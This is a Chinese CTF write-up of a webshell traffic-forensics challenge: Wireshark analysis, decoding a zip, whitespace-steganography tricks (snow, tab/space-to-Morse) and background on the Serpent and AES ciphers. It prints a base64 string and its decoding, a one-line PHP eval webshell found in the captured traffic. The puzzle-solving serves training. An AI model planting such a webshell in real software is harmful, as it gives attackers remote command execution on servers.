借一道流量取证题总结一下空白密文的解码姿势
引言
公司内部培训的一道题目,比较有意思,主要是复习一下空白密文的解码思路,算是脑洞的一种;流量取证的常规做法,还有AES的一段往事......
题目
┌───────────────────────────────────────────────────┐
│ webshell │
│ 200 │
│ 糟糕,服务器存在后门,遭到了黑客入侵。 │
│ │
└───────────────────────────────────────────────────┘
ps:考虑到某公司的不分享精神或许会有版权之类的争端,文件的解密需要你ctf一下,哈哈!
Writeup(WP)
废话不多说,咱们开整:
- 流量取证肯定需要wireshark,打开后先来个协议分级:
- 结合题目名称,很显然需要重点关注http,不过一眼望去都是404,那我们就先看看200的吧:
- 发现了目标:she1l.php,那就搜搜看:
- 大厨解码一下,得到k3y文件,就是一个zip压缩包:
- 根据提示需要找到服务端CMS本来的后门,再次搜索she1l.php,找上传的后门,文件上传肯定是POST:http.request.method==POST
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
解码为<?php eval($_POST['cmd']);?>
- 使用密码moddofun.php解压,得到flag文件,又是一个压缩包,解压得到文件snake:
- snake最先想到的是python,以为是pyc反编译,尝试了增加了几个常规版本的魔术数,无果!发现压缩包的注释:
- 空白密文,首先想到雪花隐写,将密文放入1.txt
>snow -C 1.txt
n0sasssyisidWarning: residual of 3 bits not uncompressed
>java -jar jsnow.jar -C 1.txt
Warning: residual of 3 bits not uncompressed.
n0sasssyisid
此时,想到了AES曾经的备选算法serpent(也有蛇🐍的意思),进入在线解密http://tool.chacuo.net/cryptserpent|http://serpent.online-domain-tools.com,解不了!
9. 一段时间尝试后想到空白密文还有别的解法(脑洞够大就可以!),尝试:
with open('1.txt') as f:
data = f.readlines()
flag=''
for i in data:
for s in i:
if ord(s)==9:
flag+='.'
if ord(s)==32:
flag+='.'
if ord(s)==10:
flag+=' '
print(flag)
# --.- .- --.. .---- ..--- ...-- ....- ..... -....
哈哈,这个结果看着就像是密码!换成小写qaz123456,果然serpent解密成功,http://serpent.online-domain-tools.com
本题得解。
算法原理
空白密文的几种解法
这道例题我做了2个多小时,其中至少有1个半小时在倒腾那个空白密文,也就是为了获得密码qaz123456!做题最差的就是缺少思路!!
- snow解密:
>snow -p "密码" -C 密文文件
snow.exe用于windows,还有java版的jar可以多平台
- whitespace在线:https://vii5ard.github.io/whitespace/
在线网页可以保存到本地进行离线解码
- 零宽度字符在线解码
在线网页可以保存到本地进行离线解码
- TabSpaceEnter等转换Morse码/二进制/...
考察编程基础和算法理解
AES的一段往事(AES曾经的候选算法Serpent)
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法(两位比利时密码学家Joan Daemen和Vincent Rijmen设计),是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。2003年,美国政府又公开宣称AES能用于加密机密文件。2006年,高级加密标准已然成为对称密钥加密中最流行的算法之一。到目前为止,AES已经广泛应用到各种数据加密系统中。
Serpent加密算法简介
AES候选加密算法当时排名第二的是Serpent算法,它是一个非常经典的SPN式分组密码体制,同时它的安全强度非常高。与Rijndael算法一样,Serpent尚未有重大安全漏洞被发现。但与之相比,Serpent的运算速度要比Rijndael慢上不少,这也是它落选的主要原因之一。
Serpent加密算法的原理
Serpent算法有两个版本,区别是使用SBOX不同,Serpent-0使用DES的SBOX,Serpent-1使用新的SBOX。而SBOX是算法的核心,是一种非线性的运算,XOR/乱序/线性变换都是线性运算,本身加密能力弱,主要用于增强雪崩效应。SERPENT使用的SBOX是4bit输入4bit输出的。Serpent算法设计了8个SBOX,加密时0轮用sbox0,1轮用sbox1,……,7轮用sbox7,然后8轮用sbox0,……,15轮用sbox7,依次类推。128bit的输入拆分成32份,依次进入sbox输出4x32bit的数据。128bit数据拆分成32个4bit数据,并行进行SBOX运算的话,速度会大大受影响。硬件实现时候,为了提速,可以将每个SBOX实例化32个实例,然后一个单位时间就可以完成原来32个时间的工作量。
- Serpent在运算时,每个BLOCK的长度是128bit,密钥长度 128/192/256bit可选。在128bit数据输入后,先进行一次初始置换打乱顺序,然后进行32轮运算后,进行一次最后置换再打乱一次顺序,输出就是运算结果了。注意,前31轮的运算使用同样的规则,而最后一轮使用特殊的规则,这一点不像DES,DES的16轮运算都是用同样的规则。同DES一样,初始置换和最后置换互为反函数。初始置换的输入为P(明文),输出为B(0),每一轮的输入为B(n),输出为B(n+1),n为轮数,0~31。最后置换的输出为C(密文)。
- 解密时,SBOX使用的顺序与加密相反,7 6 5 4 3 2 1 0 7 6…… 子密钥使用的顺序相反,线性变换与加密时互为反函数。
Serpent加密算法的优缺点
正如上文所说,Serpent算法的优点就是安全,它的安全性可以与如今广泛使用的Rijndael(也就是现在的AES加密算法)不相上下。但缺点也十分明显,就是其运算速度较慢,尽管官方在不断优化,但还是和主流加密算法有一定的差距。
Rijndael加密法(AES)的安全缺陷
AES建立在井然有序的代数结构上是其最具争议的热点研究问题。目前虽然还没有发现有效的攻击AES的代数方法,然而众多密码学专家有一个共同的观点:他们认为把加密算法建立在不能被证明是安全的代数结构上是存在很大安全隐患的。同时AES模块化的设计虽然在实现方面具有较高的效率,但是这些模块化的设计依然存在很大的安全缺陷。2000年以来,针对AES加密算法的攻击新方法不断出现,这些攻击AES的方法包括:代数攻击、不可能差分攻击、积分攻击、能量攻击、旁路攻击、飞来器攻击、矩形攻击、相关密钥攻击、碰撞攻击等。
国际上,以Biham和Shamir为代表的多个研究团队广泛的地对AES的安全性进行研究。多种分组密码攻击技术应用到对AES的攻击中,例如:平方攻击、不可能差分攻击、部分和攻击、飞来器攻击、矩形攻击、相关密钥矩形攻击、碰撞攻击等。由此积累了大量的极具科研和社会价值的研究成果。同时国际上针对AES算法的一些新的分析方法也不断出现,例如缓冲攻击,能量攻击等针对密码芯片的攻击方案这些成果为AES密码芯片的安全性分析开阔了视野并提供了崭新的研究思路。
在国内,针对AES的安全性分析的研究团队也非常活跃。董晓丽,胡玉璞等人在矩形攻击方面取得新的进展;吴文玲,冯登国,卿斯汉等人在不可能差分攻击方面有突破;张玉安,韦宝典,王新梅,殷新春,杨洁等人在S盒的代数性质和S盒的设计方面取得新的进展;赵新杰,王韬等人在CACHE攻击方面取得较好效果;赵佳,曾晓洋等人在能量攻击方面亦有建树。
本题参考:BUUCTF-Misc-snake